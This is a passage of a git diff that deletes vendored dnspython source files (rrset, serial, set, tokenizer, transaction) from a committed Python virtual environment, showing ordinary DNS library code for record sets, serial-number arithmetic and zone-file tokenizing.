dns.rdatatype.to_text(self.covers) + ")" - if self.deleting is not None: - dtext = " delete=" + dns.rdataclass.to_text(self.deleting) - else: - dtext = "" - return ( - "" - ) - - def __str__(self): - return self.to_text() - - def __eq__(self, other): - if isinstance(other, RRset): - if self.name != other.name: - return False - elif not isinstance(other, dns.rdataset.Rdataset): - return False - return super().__eq__(other) - - def match(self, *args: Any, **kwargs: Any) -> bool: # type: ignore[override] - """Does this rrset match the specified attributes? - - Behaves as :py:func:`full_match()` if the first argument is a - ``dns.name.Name``, and as :py:func:`dns.rdataset.Rdataset.match()` - otherwise. - - (This behavior fixes a design mistake where the signature of this - method became incompatible with that of its superclass. The fix - makes RRsets matchable as Rdatasets while preserving backwards - compatibility.) - """ - if isinstance(args[0], dns.name.Name): - return self.full_match(*args, **kwargs) # type: ignore[arg-type] - else: - return super().match(*args, **kwargs) # type: ignore[arg-type] - - def full_match( - self, - name: dns.name.Name, - rdclass: dns.rdataclass.RdataClass, - rdtype: dns.rdatatype.RdataType, - covers: dns.rdatatype.RdataType, - deleting: dns.rdataclass.RdataClass | None = None, - ) -> bool: - """Returns ``True`` if this rrset matches the specified name, class, - type, covers, and deletion state. - """ - if not super().match(rdclass, rdtype, covers): - return False - if self.name != name or self.deleting != deleting: - return False - return True - - # pylint: disable=arguments-differ - - def to_text( # type: ignore[override] - self, - origin: dns.name.Name | None = None, - relativize: bool = True, - **kw: Dict[str, Any], - ) -> str: - """Convert the RRset into DNS zone file format. - - See ``dns.name.Name.choose_relativity`` for more information - on how *origin* and *relativize* determine the way names - are emitted. - - Any additional keyword arguments are passed on to the rdata - ``to_text()`` method. - - *origin*, a ``dns.name.Name`` or ``None``, the origin for relative - names. - - *relativize*, a ``bool``. If ``True``, names will be relativized - to *origin*. - """ - - return super().to_text( - self.name, origin, relativize, self.deleting, **kw # type: ignore - ) - - def to_wire( # type: ignore[override] - self, - file: Any, - compress: dns.name.CompressType | None = None, # type: ignore - origin: dns.name.Name | None = None, - **kw: Dict[str, Any], - ) -> int: - """Convert the RRset to wire format. - - All keyword arguments are passed to ``dns.rdataset.to_wire()``; see - that function for details. - - Returns an ``int``, the number of records emitted. - """ - - return super().to_wire( - self.name, file, compress, origin, self.deleting, **kw # type:ignore - ) - - # pylint: enable=arguments-differ - - def to_rdataset(self) -> dns.rdataset.Rdataset: - """Convert an RRset into an Rdataset. - - Returns a ``dns.rdataset.Rdataset``. - """ - return dns.rdataset.from_rdata_list(self.ttl, list(self)) - - -def from_text_list( - name: dns.name.Name | str, - ttl: int, - rdclass: dns.rdataclass.RdataClass | str, - rdtype: dns.rdatatype.RdataType | str, - text_rdatas: Collection[str], - idna_codec: dns.name.IDNACodec | None = None, - origin: dns.name.Name | None = None, - relativize: bool = True, - relativize_to: dns.name.Name | None = None, -) -> RRset: - """Create an RRset with the specified name, TTL, class, and type, and with - the specified list of rdatas in text format. - - *idna_codec*, a ``dns.name.IDNACodec``, specifies the IDNA - encoder/decoder to use; if ``None``, the default IDNA 2003 - encoder/decoder is used. - - *origin*, a ``dns.name.Name`` (or ``None``), the - origin to use for relative names. - - *relativize*, a ``bool``. If true, name will be relativized. - - *relativize_to*, a ``dns.name.Name`` (or ``None``), the origin to use - when relativizing names. If not set, the *origin* value will be used. - - Returns a ``dns.rrset.RRset`` object. - """ - - if isinstance(name, str): - name = dns.name.from_text(name, None, idna_codec=idna_codec) - rdclass = dns.rdataclass.RdataClass.make(rdclass) - rdtype = dns.rdatatype.RdataType.make(rdtype) - r = RRset(name, rdclass, rdtype) - r.update_ttl(ttl) - for t in text_rdatas: - rd = dns.rdata.from_text( - r.rdclass, r.rdtype, t, origin, relativize, relativize_to, idna_codec - ) - r.add(rd) - return r - - -def from_text( - name: dns.name.Name | str, - ttl: int, - rdclass: dns.rdataclass.RdataClass | str, - rdtype: dns.rdatatype.RdataType | str, - *text_rdatas: Any, -) -> RRset: - """Create an RRset with the specified name, TTL, class, and type and with - the specified rdatas in text format. - - Returns a ``dns.rrset.RRset`` object. - """ - - return from_text_list( - name, ttl, rdclass, rdtype, cast(Collection[str], text_rdatas) - ) - - -def from_rdata_list( - name: dns.name.Name | str, - ttl: int, - rdatas: Collection[dns.rdata.Rdata], - idna_codec: dns.name.IDNACodec | None = None, -) -> RRset: - """Create an RRset with the specified name and TTL, and with - the specified list of rdata objects. - - *idna_codec*, a ``dns.name.IDNACodec``, specifies the IDNA - encoder/decoder to use; if ``None``, the default IDNA 2003 - encoder/decoder is used. - - Returns a ``dns.rrset.RRset`` object. - - """ - - if isinstance(name, str): - name = dns.name.from_text(name, None, idna_codec=idna_codec) - - if len(rdatas) == 0: - raise ValueError("rdata list must not be empty") - r = None - for rd in rdatas: - if r is None: - r = RRset(name, rd.rdclass, rd.rdtype) - r.update_ttl(ttl) - r.add(rd) - assert r is not None - return r - - -def from_rdata(name: dns.name.Name | str, ttl: int, *rdatas: Any) -> RRset: - """Create an RRset with the specified name and TTL, and with - the specified rdata objects. - - Returns a ``dns.rrset.RRset`` object. - """ - - return from_rdata_list(name, ttl, cast(Collection[dns.rdata.Rdata], rdatas)) diff --git a/venv/Lib/site-packages/dns/serial.py b/venv/Lib/site-packages/dns/serial.py deleted file mode 100644 index 3417299be2bbb3726780f1ebf74bb16974cae308..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/serial.py +++ /dev/null @@ -1,118 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -"""Serial Number Arthimetic from RFC 1982""" - - -class Serial: - def __init__(self, value: int, bits: int = 32): - self.value = value % 2**bits - self.bits = bits - - def __repr__(self): - return f"dns.serial.Serial({self.value}, {self.bits})" - - def __eq__(self, other): - if isinstance(other, int): - other = Serial(other, self.bits) - elif not isinstance(other, Serial) or other.bits != self.bits: - return NotImplemented - return self.value == other.value - - def __ne__(self, other): - if isinstance(other, int): - other = Serial(other, self.bits) - elif not isinstance(other, Serial) or other.bits != self.bits: - return NotImplemented - return self.value != other.value - - def __lt__(self, other): - if isinstance(other, int): - other = Serial(other, self.bits) - elif not isinstance(other, Serial) or other.bits != self.bits: - return NotImplemented - if self.value < other.value and other.value - self.value < 2 ** (self.bits - 1): - return True - elif self.value > other.value and self.value - other.value > 2 ** ( - self.bits - 1 - ): - return True - else: - return False - - def __le__(self, other): - return self == other or self < other - - def __gt__(self, other): - if isinstance(other, int): - other = Serial(other, self.bits) - elif not isinstance(other, Serial) or other.bits != self.bits: - return NotImplemented - if self.value < other.value and other.value - self.value > 2 ** (self.bits - 1): - return True - elif self.value > other.value and self.value - other.value < 2 ** ( - self.bits - 1 - ): - return True - else: - return False - - def __ge__(self, other): - return self == other or self > other - - def __add__(self, other): - v = self.value - if isinstance(other, Serial): - delta = other.value - elif isinstance(other, int): - delta = other - else: - raise ValueError - if abs(delta) > (2 ** (self.bits - 1) - 1): - raise ValueError - v += delta - v = v % 2**self.bits - return Serial(v, self.bits) - - def __iadd__(self, other): - v = self.value - if isinstance(other, Serial): - delta = other.value - elif isinstance(other, int): - delta = other - else: - raise ValueError - if abs(delta) > (2 ** (self.bits - 1) - 1): - raise ValueError - v += delta - v = v % 2**self.bits - self.value = v - return self - - def __sub__(self, other): - v = self.value - if isinstance(other, Serial): - delta = other.value - elif isinstance(other, int): - delta = other - else: - raise ValueError - if abs(delta) > (2 ** (self.bits - 1) - 1): - raise ValueError - v -= delta - v = v % 2**self.bits - return Serial(v, self.bits) - - def __isub__(self, other): - v = self.value - if isinstance(other, Serial): - delta = other.value - elif isinstance(other, int): - delta = other - else: - raise ValueError - if abs(delta) > (2 ** (self.bits - 1) - 1): - raise ValueError - v -= delta - v = v % 2**self.bits - self.value = v - return self diff --git a/venv/Lib/site-packages/dns/set.py b/venv/Lib/site-packages/dns/set.py deleted file mode 100644 index ae8f0dd5039693a24a14bf9cff638ee740798a07..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/set.py +++ /dev/null @@ -1,308 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -import itertools - - -class Set: - """A simple set class. - - This class was originally used to deal with python not having a set class, and - originally the class used lists in its implementation. The ordered and indexable - nature of RRsets and Rdatasets is unfortunately widely used in dnspython - applications, so for backwards compatibility sets continue to be a custom class, now - based on an ordered dictionary. - """ - - __slots__ = ["items"] - - def __init__(self, items=None): - """Initialize the set. - - *items*, an iterable or ``None``, the initial set of items. - """ - - self.items = dict() - if items is not None: - for item in items: - # This is safe for how we use set, but if other code - # subclasses it could be a legitimate issue. - self.add(item) # lgtm[py/init-calls-subclass] - - def __repr__(self): - return f"dns.set.Set({repr(list(self.items.keys()))})" # pragma: no cover - - def add(self, item): - """Add an item to the set.""" - - if item not in self.items: - self.items[item] = None - - def remove(self, item): - """Remove an item from the set.""" - - try: - del self.items[item] - except KeyError: - raise ValueError - - def discard(self, item): - """Remove an item from the set if present.""" - - self.items.pop(item, None) - - def pop(self): - """Remove an arbitrary item from the set.""" - (k, _) = self.items.popitem() - return k - - def _clone(self) -> "Set": - """Make a (shallow) copy of the set. - - There is a 'clone protocol' that subclasses of this class - should use. To make a copy, first call your super's _clone() - method, and use the object returned as the new instance. Then - make shallow copies of the attributes defined in the subclass. - - This protocol allows us to write the set algorithms that - return new instances (e.g. union) once, and keep using them in - subclasses. - """ - - if hasattr(self, "_clone_class"): - cls = self._clone_class # type: ignore - else: - cls = self.__class__ - obj = cls.__new__(cls) - obj.items = dict() - obj.items.update(self.items) - return obj - - def __copy__(self): - """Make a (shallow) copy of the set.""" - - return self._clone() - - def copy(self): - """Make a (shallow) copy of the set.""" - - return self._clone() - - def union_update(self, other): - """Update the set, adding any elements from other which are not - already in the set. - """ - - if not isinstance(other, Set): - raise ValueError("other must be a Set instance") - if self is other: # lgtm[py/comparison-using-is] - return - for item in other.items: - self.add(item) - - def intersection_update(self, other): - """Update the set, removing any elements from other which are not - in both sets. - """ - - if not isinstance(other, Set): - raise ValueError("other must be a Set instance") - if self is other: # lgtm[py/comparison-using-is] - return - # we make a copy of the list so that we can remove items from - # the list without breaking the iterator. - for item in list(self.items): - if item not in other.items: - del self.items[item] - - def difference_update(self, other): - """Update the set, removing any elements from other which are in - the set. - """ - - if not isinstance(other, Set): - raise ValueError("other must be a Set instance") - if self is other: # lgtm[py/comparison-using-is] - self.items.clear() - else: - for item in other.items: - self.discard(item) - - def symmetric_difference_update(self, other): - """Update the set, retaining only elements unique to both sets.""" - - if not isinstance(other, Set): - raise ValueError("other must be a Set instance") - if self is other: # lgtm[py/comparison-using-is] - self.items.clear() - else: - overlap = self.intersection(other) - self.union_update(other) - self.difference_update(overlap) - - def union(self, other): - """Return a new set which is the union of ``self`` and ``other``. - - Returns the same Set type as this set. - """ - - obj = self._clone() - obj.union_update(other) - return obj - - def intersection(self, other): - """Return a new set which is the intersection of ``self`` and - ``other``. - - Returns the same Set type as this set. - """ - - obj = self._clone() - obj.intersection_update(other) - return obj - - def difference(self, other): - """Return a new set which ``self`` - ``other``, i.e. the items - in ``self`` which are not also in ``other``. - - Returns the same Set type as this set. - """ - - obj = self._clone() - obj.difference_update(other) - return obj - - def symmetric_difference(self, other): - """Return a new set which (``self`` - ``other``) | (``other`` - - ``self), ie: the items in either ``self`` or ``other`` which - are not contained in their intersection. - - Returns the same Set type as this set. - """ - - obj = self._clone() - obj.symmetric_difference_update(other) - return obj - - def __or__(self, other): - return self.union(other) - - def __and__(self, other): - return self.intersection(other) - - def __add__(self, other): - return self.union(other) - - def __sub__(self, other): - return self.difference(other) - - def __xor__(self, other): - return self.symmetric_difference(other) - - def __ior__(self, other): - self.union_update(other) - return self - - def __iand__(self, other): - self.intersection_update(other) - return self - - def __iadd__(self, other): - self.union_update(other) - return self - - def __isub__(self, other): - self.difference_update(other) - return self - - def __ixor__(self, other): - self.symmetric_difference_update(other) - return self - - def update(self, other): - """Update the set, adding any elements from other which are not - already in the set. - - *other*, the collection of items with which to update the set, which - may be any iterable type. - """ - - for item in other: - self.add(item) - - def clear(self): - """Make the set empty.""" - self.items.clear() - - def __eq__(self, other): - return self.items == other.items - - def __ne__(self, other): - return not self.__eq__(other) - - def __len__(self): - return len(self.items) - - def __iter__(self): - return iter(self.items) - - def __getitem__(self, i): - if isinstance(i, slice): - return list(itertools.islice(self.items, i.start, i.stop, i.step)) - else: - return next(itertools.islice(self.items, i, i + 1)) - - def __delitem__(self, i): - if isinstance(i, slice): - for elt in list(self[i]): - del self.items[elt] - else: - del self.items[self[i]] - - def issubset(self, other): - """Is this set a subset of *other*? - - Returns a ``bool``. - """ - - if not isinstance(other, Set): - raise ValueError("other must be a Set instance") - for item in self.items: - if item not in other.items: - return False - return True - - def issuperset(self, other): - """Is this set a superset of *other*? - - Returns a ``bool``. - """ - - if not isinstance(other, Set): - raise ValueError("other must be a Set instance") - for item in other.items: - if item not in self.items: - return False - return True - - def isdisjoint(self, other): - if not isinstance(other, Set): - raise ValueError("other must be a Set instance") - for item in other.items: - if item in self.items: - return False - return True diff --git a/venv/Lib/site-packages/dns/tokenizer.py b/venv/Lib/site-packages/dns/tokenizer.py deleted file mode 100644 index 86ae3e2d72e13f6c1e026d0241cac4dd0199124c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/tokenizer.py +++ /dev/null @@ -1,706 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -# Copyright (C) 2003-2017 Nominum, Inc. -# -# Permission to use, copy, modify, and distribute this software and its -# documentation for any purpose with or without fee is hereby granted, -# provided that the above copyright notice and this permission notice -# appear in all copies. -# -# THE SOFTWARE IS PROVIDED "AS IS" AND NOMINUM DISCLAIMS ALL WARRANTIES -# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF -# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL NOMINUM BE LIABLE FOR -# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES -# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN -# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT -# OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. - -"""Tokenize DNS zone file format""" - -import io -import sys -from typing import Any, List, Tuple - -import dns.exception -import dns.name -import dns.ttl - -_DELIMITERS = {" ", "\t", "\n", ";", "(", ")", '"'} -_QUOTING_DELIMITERS = {'"'} - -EOF = 0 -EOL = 1 -WHITESPACE = 2 -IDENTIFIER = 3 -QUOTED_STRING = 4 -COMMENT = 5 -DELIMITER = 6 - - -class UngetBufferFull(dns.exception.DNSException): - """An attempt was made to unget a token when the unget buffer was full.""" - - -class Token: - """A DNS zone file format token. - - ttype: The token type - value: The token value - has_escape: Does the token value contain escapes? - """ - - def __init__( - self, - ttype: int, - value: Any = "", - has_escape: bool = False, - comment: str | None = None, - ): - """Initialize a token instance.""" - - self.ttype = ttype - self.value = value - self.has_escape = has_escape - self.comment = comment - - def is_eof(self) -> bool: - return self.ttype == EOF - - def is_eol(self) -> bool: - return self.ttype == EOL - - def is_whitespace(self) -> bool: - return self.ttype == WHITESPACE - - def is_identifier(self) -> bool: - return self.ttype == IDENTIFIER - - def is_quoted_string(self) -> bool: - return self.ttype == QUOTED_STRING - - def is_comment(self) -> bool: - return self.ttype == COMMENT - - def is_delimiter(self) -> bool: # pragma: no cover (we don't return delimiters yet) - return self.ttype == DELIMITER - - def is_eol_or_eof(self) -> bool: - return self.ttype == EOL or self.ttype == EOF - - def __eq__(self, other): - if not isinstance(other, Token): - return False - return self.ttype == other.ttype and self.value == other.value - - def __ne__(self, other): - if not isinstance(other, Token): - return True - return self.ttype != other.ttype or self.value != other.value - - def __str__(self): - return f'{self.ttype} "{self.value}"' - - def unescape(self) -> "Token": - if not self.has_escape: - return self - unescaped = "" - l = len(self.value) - i = 0 - while i < l: - c = self.value[i] - i += 1 - if c == "\\": - if i >= l: # pragma: no cover (can't happen via get()) - raise dns.exception.UnexpectedEnd - c = self.value[i] - i += 1 - if c.isdigit(): - if i >= l: - raise dns.exception.UnexpectedEnd - c2 = self.value[i] - i += 1 - if i >= l: - raise dns.exception.UnexpectedEnd - c3 = self.value[i] - i += 1 - if not (c2.isdigit() and c3.isdigit()): - raise dns.exception.SyntaxError - codepoint = int(c) * 100 + int(c2) * 10 + int(c3) - if codepoint > 255: - raise dns.exception.SyntaxError - c = chr(codepoint) - unescaped += c - return Token(self.ttype, unescaped) - - def unescape_to_bytes(self) -> "Token": - # We used to use unescape() for TXT-like records, but this - # caused problems as we'd process DNS escapes into Unicode code - # points instead of byte values, and then a to_text() of the - # processed data would not equal the original input. For - # example, \226 in the TXT record would have a to_text() of - # \195\162 because we applied UTF-8 encoding to Unicode code - # point 226. - # - # We now apply escapes while converting directly to bytes, - # avoiding this double encoding. - # - # This code also handles cases where the unicode input has - # non-ASCII code-points in it by converting it to UTF-8. TXT - # records aren't defined for Unicode, but this is the best we - # can do to preserve meaning. For example, - # - # foo\u200bbar - # - # (where \u200b is Unicode code point 0x200b) will be treated - # as if the input had been the UTF-8 encoding of that string, - # namely: - # - # foo\226\128\139bar - # - unescaped = b"" - l = len(self.value) - i = 0 - while i < l: - c = self.value[i] - i += 1 - if c == "\\": - if i >= l: # pragma: no cover (can't happen via get()) - raise dns.exception.UnexpectedEnd - c = self.value[i] - i += 1 - if c.isdigit(): - if i >= l: - raise dns.exception.UnexpectedEnd - c2 = self.value[i] - i += 1 - if i >= l: - raise dns.exception.UnexpectedEnd - c3 = self.value[i] - i += 1 - if not (c2.isdigit() and c3.isdigit()): - raise dns.exception.SyntaxError - codepoint = int(c) * 100 + int(c2) * 10 + int(c3) - if codepoint > 255: - raise dns.exception.SyntaxError - unescaped += b"%c" % (codepoint) - else: - # Note that as mentioned above, if c is a Unicode - # code point outside of the ASCII range, then this - # += is converting that code point to its UTF-8 - # encoding and appending multiple bytes to - # unescaped. - unescaped += c.encode() - else: - unescaped += c.encode() - return Token(self.ttype, bytes(unescaped)) - - -class Tokenizer: - """A DNS zone file format tokenizer. - - A token object is basically a (type, value) tuple. The valid - types are EOF, EOL, WHITESPACE, IDENTIFIER, QUOTED_STRING, - COMMENT, and DELIMITER. - - file: The file to tokenize - - ungotten_char: The most recently ungotten character, or None. - - ungotten_token: The most recently ungotten token, or None. - - multiline: The current multiline level. This value is increased - by one every time a '(' delimiter is read, and decreased by one every time - a ')' delimiter is read. - - quoting: This variable is true if the tokenizer is currently - reading a quoted string. - - eof: This variable is true if the tokenizer has encountered EOF. - - delimiters: The current delimiter dictionary. - - line_number: The current line number - - filename: A filename that will be returned by the where() method. - - idna_codec: A dns.name.IDNACodec, specifies the IDNA - encoder/decoder. If None, the default IDNA 2003 - encoder/decoder is used. - """ - - def __init__( - self, - f: Any = sys.stdin, - filename: str | None = None, - idna_codec: dns.name.IDNACodec | None = None, - ): - """Initialize a tokenizer instance. - - f: The file to tokenize. The default is sys.stdin. - This parameter may also be a string, in which case the tokenizer - will take its input from the contents of the string. - - filename: the name of the filename that the where() method - will return. - - idna_codec: A dns.name.IDNACodec, specifies the IDNA - encoder/decoder. If None, the default IDNA 2003 - encoder/decoder is used. - """ - - if isinstance(f, str): - f = io.StringIO(f) - if filename is None: - filename = "" - elif isinstance(f, bytes): - f = io.StringIO(f.decode()) - if filename is None: - filename = "" - else: - if filename is None: - if f is sys.stdin: - filename = "" - else: - filename = "" - self.file = f - self.ungotten_char: str | None = None - self.ungotten_token: Token | None = None - self.multiline = 0 - self.quoting = False - self.eof = False - self.delimiters = _DELIMITERS - self.line_number = 1 - assert filename is not None - self.filename = filename - if idna_codec is None: - self.idna_codec: dns.name.IDNACodec = dns.name.IDNA_2003 - else: - self.idna_codec = idna_codec - - def _get_char(self) -> str: - """Read a character from input.""" - - if self.ungotten_char is None: - if self.eof: - c = "" - else: - c = self.file.read(1) - if c == "": - self.eof = True - elif c == "\n": - self.line_number += 1 - else: - c = self.ungotten_char - self.ungotten_char = None - return c - - def where(self) -> Tuple[str, int]: - """Return the current location in the input. - - Returns a (string, int) tuple. The first item is the filename of - the input, the second is the current line number. - """ - - return (self.filename, self.line_number) - - def _unget_char(self, c: str) -> None: - """Unget a character. - - The unget buffer for characters is only one character large; it is - an error to try to unget a character when the unget buffer is not - empty. - - c: the character to unget - raises UngetBufferFull: there is already an ungotten char - """ - - if self.ungotten_char is not None: - # this should never happen! - raise UngetBufferFull # pragma: no cover - self.ungotten_char = c - - def skip_whitespace(self) -> int: - """Consume input until a non-whitespace character is encountered. - - The non-whitespace character is then ungotten, and the number of - whitespace characters consumed is returned. - - If the tokenizer is in multiline mode, then newlines are whitespace. - - Returns the number of characters skipped. - """ - - skipped = 0 - while True: - c = self._get_char() - if c != " " and c != "\t": - if (c != "\n") or not self.multiline: - self._unget_char(c) - return skipped - skipped += 1 - - def get(self, want_leading: bool = False, want_comment: bool = False) -> Token: - """Get the next token. - - want_leading: If True, return a WHITESPACE token if the - first character read is whitespace. The default is False. - - want_comment: If True, return a COMMENT token if the - first token read is a comment. The default is False. - - Raises dns.exception.UnexpectedEnd: input ended prematurely - - Raises dns.exception.SyntaxError: input was badly formed - - Returns a Token. - """ - - if self.ungotten_token is not None: - utoken = self.ungotten_token - self.ungotten_token = None - if utoken.is_whitespace(): - if want_leading: - return utoken - elif utoken.is_comment(): - if want_comment: - return utoken - else: - return utoken - skipped = self.skip_whitespace() - if want_leading and skipped > 0: - return Token(WHITESPACE, " ") - token = "" - ttype = IDENTIFIER - has_escape = False - while True: - c = self._get_char() - if c == "" or c in self.delimiters: - if c == "" and self.quoting: - raise dns.exception.UnexpectedEnd - if token == "" and ttype != QUOTED_STRING: - if c == "(": - self.multiline += 1 - self.skip_whitespace() - continue - elif c == ")": - if self.multiline <= 0: - raise dns.exception.SyntaxError - self.multiline -= 1 - self.skip_whitespace() - continue - elif c == '"': - if not self.quoting: - self.quoting = True - self.delimiters = _QUOTING_DELIMITERS - ttype = QUOTED_STRING - continue - else: - self.quoting = False - self.delimiters = _DELIMITERS - self.skip_whitespace() - continue - elif c == "\n": - return Token(EOL, "\n") - elif c == ";": - while 1: - c = self._get_char() - if c == "\n" or c == "": - break - token += c - if want_comment: - self._unget_char(c) - return Token(COMMENT, token) - elif c == "": - if self.multiline: - raise dns.exception.SyntaxError( - "unbalanced parentheses" - ) - return Token(EOF, comment=token) - elif self.multiline: - self.skip_whitespace() - token = "" - continue - else: - return Token(EOL, "\n", comment=token) - else: - # This code exists in case we ever want a - # delimiter to be returned. It never produces - # a token currently. - token = c - ttype = DELIMITER - else: - self._unget_char(c) - break - elif self.quoting and c == "\n": - raise dns.exception.SyntaxError("newline in quoted string") - elif c == "\\": - # - # It's an escape. Put it and the next character into - # the token; it will be checked later for goodness. - # - token += c - has_escape = True - c = self._get_char() - if c == "" or (c == "\n" and not self.quoting): - raise dns.exception.UnexpectedEnd - token += c - if token == "" and ttype != QUOTED_STRING: - if self.multiline: - raise dns.exception.SyntaxError("unbalanced parentheses") - ttype = EOF - return Token(ttype, token, has_escape) - - def unget(self, token: Token) -> None: - """Unget a token. - - The unget buffer for tokens is only one token large; it is - an error to try to unget a token when the unget buffer is not - empty. - - token: the token to unget - - Raises UngetBufferFull: there is already an ungotten token - """ - - if self.ungotten_token is not None: - raise UngetBufferFull - self.ungotten_token = token - - def next(self): - """Return the next item in an iteration. - - Returns a Token. - """ - - token = self.get() - if token.is_eof(): - raise StopIteration - return token - - __next__ = next - - def __iter__(self): - return self - - # Helpers - - def get_int(self, base: int = 10) -> int: - """Read the next token and interpret it as an unsigned integer. - - Raises dns.exception.SyntaxError if not an unsigned integer. - - Returns an int. - """ - - token = self.get().unescape() - if not token.is_identifier(): - raise dns.exception.SyntaxError("expecting an identifier") - if not token.value.isdigit(): - raise dns.exception.SyntaxError("expecting an integer") - return int(token.value, base) - - def get_uint8(self) -> int: - """Read the next token and interpret it as an 8-bit unsigned - integer. - - Raises dns.exception.SyntaxError if not an 8-bit unsigned integer. - - Returns an int. - """ - - value = self.get_int() - if value < 0 or value > 255: - raise dns.exception.SyntaxError(f"{value} is not an unsigned 8-bit integer") - return value - - def get_uint16(self, base: int = 10) -> int: - """Read the next token and interpret it as a 16-bit unsigned - integer. - - Raises dns.exception.SyntaxError if not a 16-bit unsigned integer. - - Returns an int. - """ - - value = self.get_int(base=base) - if value < 0 or value > 65535: - if base == 8: - raise dns.exception.SyntaxError( - f"{value:o} is not an octal unsigned 16-bit integer" - ) - else: - raise dns.exception.SyntaxError( - f"{value} is not an unsigned 16-bit integer" - ) - return value - - def get_uint32(self, base: int = 10) -> int: - """Read the next token and interpret it as a 32-bit unsigned - integer. - - Raises dns.exception.SyntaxError if not a 32-bit unsigned integer. - - Returns an int. - """ - - value = self.get_int(base=base) - if value < 0 or value > 4294967295: - raise dns.exception.SyntaxError( - f"{value} is not an unsigned 32-bit integer" - ) - return value - - def get_uint48(self, base: int = 10) -> int: - """Read the next token and interpret it as a 48-bit unsigned - integer. - - Raises dns.exception.SyntaxError if not a 48-bit unsigned integer. - - Returns an int. - """ - - value = self.get_int(base=base) - if value < 0 or value > 281474976710655: - raise dns.exception.SyntaxError( - f"{value} is not an unsigned 48-bit integer" - ) - return value - - def get_string(self, max_length: int | None = None) -> str: - """Read the next token and interpret it as a string. - - Raises dns.exception.SyntaxError if not a string. - Raises dns.exception.SyntaxError if token value length - exceeds max_length (if specified). - - Returns a string. - """ - - token = self.get().unescape() - if not (token.is_identifier() or token.is_quoted_string()): - raise dns.exception.SyntaxError("expecting a string") - if max_length and len(token.value) > max_length: - raise dns.exception.SyntaxError("string too long") - return token.value - - def get_identifier(self) -> str: - """Read the next token, which should be an identifier. - - Raises dns.exception.SyntaxError if not an identifier. - - Returns a string. - """ - - token = self.get().unescape() - if not token.is_identifier(): - raise dns.exception.SyntaxError("expecting an identifier") - return token.value - - def get_remaining(self, max_tokens: int | None = None) -> List[Token]: - """Return the remaining tokens on the line, until an EOL or EOF is seen. - - max_tokens: If not None, stop after this number of tokens. - - Returns a list of tokens. - """ - - tokens = [] - while True: - token = self.get() - if token.is_eol_or_eof(): - self.unget(token) - break - tokens.append(token) - if len(tokens) == max_tokens: - break - return tokens - - def concatenate_remaining_identifiers(self, allow_empty: bool = False) -> str: - """Read the remaining tokens on the line, which should be identifiers. - - Raises dns.exception.SyntaxError if there are no remaining tokens, - unless `allow_empty=True` is given. - - Raises dns.exception.SyntaxError if a token is seen that is not an - identifier. - - Returns a string containing a concatenation of the remaining - identifiers. - """ - s = "" - while True: - token = self.get().unescape() - if token.is_eol_or_eof(): - self.unget(token) - break - if not token.is_identifier(): - raise dns.exception.SyntaxError - s += token.value - if not (allow_empty or s): - raise dns.exception.SyntaxError("expecting another identifier") - return s - - def as_name( - self, - token: Token, - origin: dns.name.Name | None = None, - relativize: bool = False, - relativize_to: dns.name.Name | None = None, - ) -> dns.name.Name: - """Try to interpret the token as a DNS name. - - Raises dns.exception.SyntaxError if not a name. - - Returns a dns.name.Name. - """ - if not token.is_identifier(): - raise dns.exception.SyntaxError("expecting an identifier") - name = dns.name.from_text(token.value, origin, self.idna_codec) - return name.choose_relativity(relativize_to or origin, relativize) - - def get_name( - self, - origin: dns.name.Name | None = None, - relativize: bool = False, - relativize_to: dns.name.Name | None = None, - ) -> dns.name.Name: - """Read the next token and interpret it as a DNS name. - - Raises dns.exception.SyntaxError if not a name. - - Returns a dns.name.Name. - """ - - token = self.get() - return self.as_name(token, origin, relativize, relativize_to) - - def get_eol_as_token(self) -> Token: - """Read the next token and raise an exception if it isn't EOL or - EOF. - - Returns a string. - """ - - token = self.get() - if not token.is_eol_or_eof(): - raise dns.exception.SyntaxError( - f'expected EOL or EOF, got {token.ttype} "{token.value}"' - ) - return token - - def get_eol(self) -> str: - return self.get_eol_as_token().value - - def get_ttl(self) -> int: - """Read the next token and interpret it as a DNS TTL. - - Raises dns.exception.SyntaxError or dns.ttl.BadTTL if not an - identifier or badly formed. - - Returns an int. - """ - - token = self.get().unescape() - if not token.is_identifier(): - raise dns.exception.SyntaxError("expecting an identifier") - return dns.ttl.from_text(token.value) diff --git a/venv/Lib/site-packages/dns/transaction.py b/venv/Lib/site-packages/dns/transaction.py deleted file mode 100644 index 9ecd737725e038823d871e36a4ee4b6597370060..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dns/transaction.py +++ /dev/null @@ -1,651 +0,0 @@ -# Copyright (C) Dnspython Contributors, see LICENSE for text of ISC license - -import collections -from typing import Any, Callable, Iterator, List, Tuple - -import dns.exception -import dns.name -import dns.node -import dns.rdata -import dns.rdataclass -import dns.rdataset -import dns.rdatatype -import dns.rrset -import dns.serial -import dns.ttl - - -class TransactionManager: - def reader(self) -> "Transaction": - """Begin a read-only transaction.""" - raise NotImplementedError # 